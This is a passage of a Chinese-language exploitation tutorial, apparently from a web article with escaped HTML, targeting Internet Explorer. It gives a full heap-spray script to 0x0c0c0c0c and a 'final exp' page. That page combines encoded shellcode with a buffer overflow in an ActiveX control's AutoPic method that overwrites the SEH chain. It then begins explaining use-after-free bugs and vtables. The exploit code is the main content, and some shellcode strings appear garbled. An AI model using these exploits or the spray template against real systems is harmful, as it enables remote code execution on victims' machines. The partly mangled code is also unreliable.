class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E其大致流程为, 获取 ActiveX控件 对象, 之后调用 对象的
AutoPic 方法,并向它传入 很长的一段 A ,来触发漏洞.打开浏览器, 用调试器附加上去, 打开 poc 页面, 出发异常 , 查看 SEH 链 ,可以看到 SEH 链的被覆盖\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cnoscript\u003E\u003Cimg src=\&https:\u002F\u002Fpic2.zhimg.com\u002F3d40e397faeb98df5ed369fa7dfa2769_b.jpg\& data-rawwidth=\&1279\& data-rawheight=\&780\& class=\&origin_image zh-lightbox-thumb\& width=\&1279\& data-original=\&https:\u002F\u002Fpic2.zhimg.com\u002F3d40e397faeb98df5ed369fa7dfa2769_r.jpg\&\u003E\u003C\u002Fnoscript\u003E\u003Cimg src=\&data:image\u002Fsvg+utf8,&svg%20xmlns='http:\u002F\u002Fwww.w3.org\u002FFsvg'%20width='1279'%20height='780'&&\u002Fsvg&\& data-rawwidth=\&1279\& data-rawheight=\&780\& class=\&origin_image zh-lightbox-thumb lazy\& width=\&1279\& data-original=\&https:\u002F\u002Fpic2.zhimg.com\u002F3d40e397faeb98df5ed369fa7dfa2769_r.jpg\& data-actualsrc=\&https:\u002F\u002Fpic2.zhimg.com\u002F3d40e397faeb98df5ed369fa7dfa2769_b.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cbr\u003E我们就能利用 SEH 来实现任意代码执行.同时可以看到,此时的栈并没有我们的输入数据,故我们应该使用 堆喷射技术 将咱们的 shellcode 喷射到可预测的地址来完成最后的漏洞利用.这里给出一个可以在 IE 6, 7上稳定喷射内存到 0x0c0c0c0c 地址处的堆喷射脚本, 以后要喷射内存时,直接贴到 exp 前面使用即可\u003Cbr\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-html\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ehtml\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eshellcode\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eunescape\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'%u'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eunescape\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'%u'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eheadersize\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003E20\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eheadersize\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eshellcode\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&k\&\u003Ewhile\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Efillblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Esubstring\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Esubstring\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E-\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&k\&\u003Ewhile\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&\u003C\u002Fspan\u003E \u003Cspan class=\&mh\&\u003E0x4C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Efillblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ememory\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&k\&\u003Enew\u003C\u002Fspan\u003E \u003Cspan class=\&nb\&\u003EArray\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E();\u003C\u002Fspan\u003E\n\u003Cspan class=\&k\&\u003Efor\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003E500\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E++\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E){\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ememory\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E[\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E]\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eshellcode\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E}\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&nx\&\u003Ealert\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E1\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ehtml\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E会创建由一大块 由nop指令 + shellcode 的内存块,之后重复分配 500次,以将数据块喷射到 0x0c0c0c0c处.我们来看看是否能喷射内存到可预测的地址上去,保存 上述内容到一个文件中 ,用调试器附加到 IE浏览器上打开 poc 文件,在 弹出 1 对话框时 ,在调试器中将 ie进程中断下来,查看 0x0c0c0c0c 处的内存数据.\u003C\u002Fp\u003E\u003Cp\u003E可以看到 地址 0x0c0c0c0c 处的值为 大量的 0x90(即 nop指令的16进制)
从堆喷射脚本可以知道 该地址位于我们 nop + shellcode 块的 nop 区 ,如果我们将 eip 劫持到 0x0c0c0c0c 处, 程序就会执行大量的 nop 指令,最后会执行到我们的 shellcode 中.
那么,我将最初那个触发漏洞脚本的内容贴到 堆喷射代码的后面 ,并改变传入漏洞函数的参数为
一大串的 “\\x0c”
,并添加上我们的 shellcode 这里我用的是 弹出一个计算器。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E最终的exp代码:\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-html\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ehtml\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eshellcode\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eunescape\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&s1\&\u003E'%uc931%ue983%ud9de%ud9ee%u%u%u5e46%u8395'\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&s1\&\u003E'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u%u1eb1'\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&s1\&\u003E'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&s1\&\u003E'%u873a%uc%u61b5%ua%ua348%ucad5%u4719%uf3b5'\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&s1\&\u003E'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%uf'\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&s1\&\u003E'%ucd59%ua51e%u86b8%u%u1e52%u5a4d%u1ef3%u4e55%u9cb5'\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&s1\&\u003E'%uc6b6%u95ee%u463d%ufdd5%uf%u105d%u6dd7%u86be%uc525'\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&s1\&\u003E'%u%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\n\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eunescape\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&s1\&\u003E'%u'\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eheadersize\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003E20\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eheadersize\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eshellcode\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&k\&\u003Ewhile\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Efillblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Esubstring\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Esubstring\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebigblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E-\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&k\&\u003Ewhile\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eslackspace\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&\u003C\u002Fspan\u003E \u003Cspan class=\&mh\&\u003E0x4C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Efillblock\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ememory\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&k\&\u003Enew\u003C\u002Fspan\u003E \u003Cspan class=\&nb\&\u003EArray\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E();\u003C\u002Fspan\u003E\n\u003Cspan class=\&k\&\u003Efor\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003E500\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E++\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E){\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ememory\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E[\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ei\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E]\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eblock\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Eshellcode\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E}\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\n\n\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003Cspan class=\&nx\&\u003Ealert\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E1\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\n\t\t\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Eobject\u003C\u002Fspan\u003E \u003Cspan class=\&na\&\u003Eclassid\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s\&\u003E\&clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF\&\u003C\u002Fspan\u003E \u003Cspan class=\&na\&\u003Eid\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\&s\&\u003E\&target\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Eobject\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&kd\&\u003Evar\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebuffer\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\&s1\&\u003E''\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&k\&\u003Ewhile\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebuffer\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Elength\u003C\u002Fspan\u003E \u003Cspan class=\&o\&\u003E&\u003C\u002Fspan\u003E \u003Cspan class=\&mi\&\u003EC\u002Fspan\u003E\u003Cspan class=\&p\&\u003E)\u003C\u002Fspan\u003E \u003Cspan class=\&nx\&\u003Ebuffer\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+=\u003C\u002Fspan\u003E \u003Cspan class=\&s2\&\u003E\&\\x0c\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\n\t\t\t\u003Cspan class=\&nx\&\u003Etarget\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003EAutoPic\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nx\&\u003Ebuffer\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E\u003Cspan class=\&s2\&\u003E\&defaultV\&\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\t\t\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Escript\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\n\n\u003Cspan class=\&p\&\u003E&\u002F\u003C\u002Fspan\u003E\u003Cspan class=\&nt\&\u003Ehtml\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E&\u003C\u002Fspan\u003E\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E\u003Cb\u003E
保存内容,打开网页 ,就可弹出一个计算器, 干净利落.\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cbr\u003E\u003Cp\u003E
上面那种类型的漏洞流行于 03年-08年, 由于缓冲区溢出类的漏洞挖掘较为容易 , 所以没过多久,这一类型的漏洞就被 hacker 们挖的差不多了, 于是 hacker 们又纷纷转向 堆相关漏洞的挖掘 , 于是 08年之后释放重利用这种堆相关漏洞利用方式变成了IE漏洞的主流.逐渐在这几年达到了高峰.对象畸形操作类的漏洞一般来说触发漏洞需要一系列的操作.单个的操作,比方说对象的创建使用删除都是正常的。导致问题的是对于对象操作的畸形的组合.比如一个对象释放后 引用计数没有清0 , 导致我们可以使用已经释放的内存,又比如 我们新建对象时 ,申请到了一块为初始化的内存 等等 这些都会造成一些安全问题, 甚至可能导致 远程代码执行\u003C\u002Fp\u003E\u003Ch2\u003E\u003Cb\u003E话不多说,直接开干.\u003C\u002Fb\u003E\u003C\u002Fh2\u003E\u003Cp\u003E\u003Cb\u003E这里用的漏洞是 CVE--Microsoft IE
UAF漏洞\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E测试环境为 win7 32 ,\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003Emshtml.dll 的文件版本
: 8.00..\u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cp\u003E\u003Cb\u003E 漏洞的原理 : \u003C\u002Fb\u003E\u003C\u002Fp\u003E\u003Cp\u003E
CGnericElement在被释放后 ,我们仍然可以使用 它的那块内存, 而当我们调用对象的函数时就有可能引用非法内存的值作为 函数指针, 最后造成远程代码执行漏洞. 这里在介绍一个背景知识 , 跟面向过程的编程语言不同,c++支持多态和继承。支持这些机制的核心就是虚表。C++的(虚)函数指针位于一个全局数组中,形成虚表。而指向这个虚表的指针(VSTR)一般位于对象实例在内存中开始的4个字节(32位系统) 之后才是类中声明的数据成员,一般按照声明的先后顺序排列。对于存在多态行为的类,子类的所有实例共享相同的虚表,但区别于父类的虚表。对于某个对象,其 调用存在多态行为的某个函数时,会先通过虚表指针得到虚表.再根据函数在虚表中的偏移来得到相应的函数指针,最后才会调用函数.
最后总结一下:
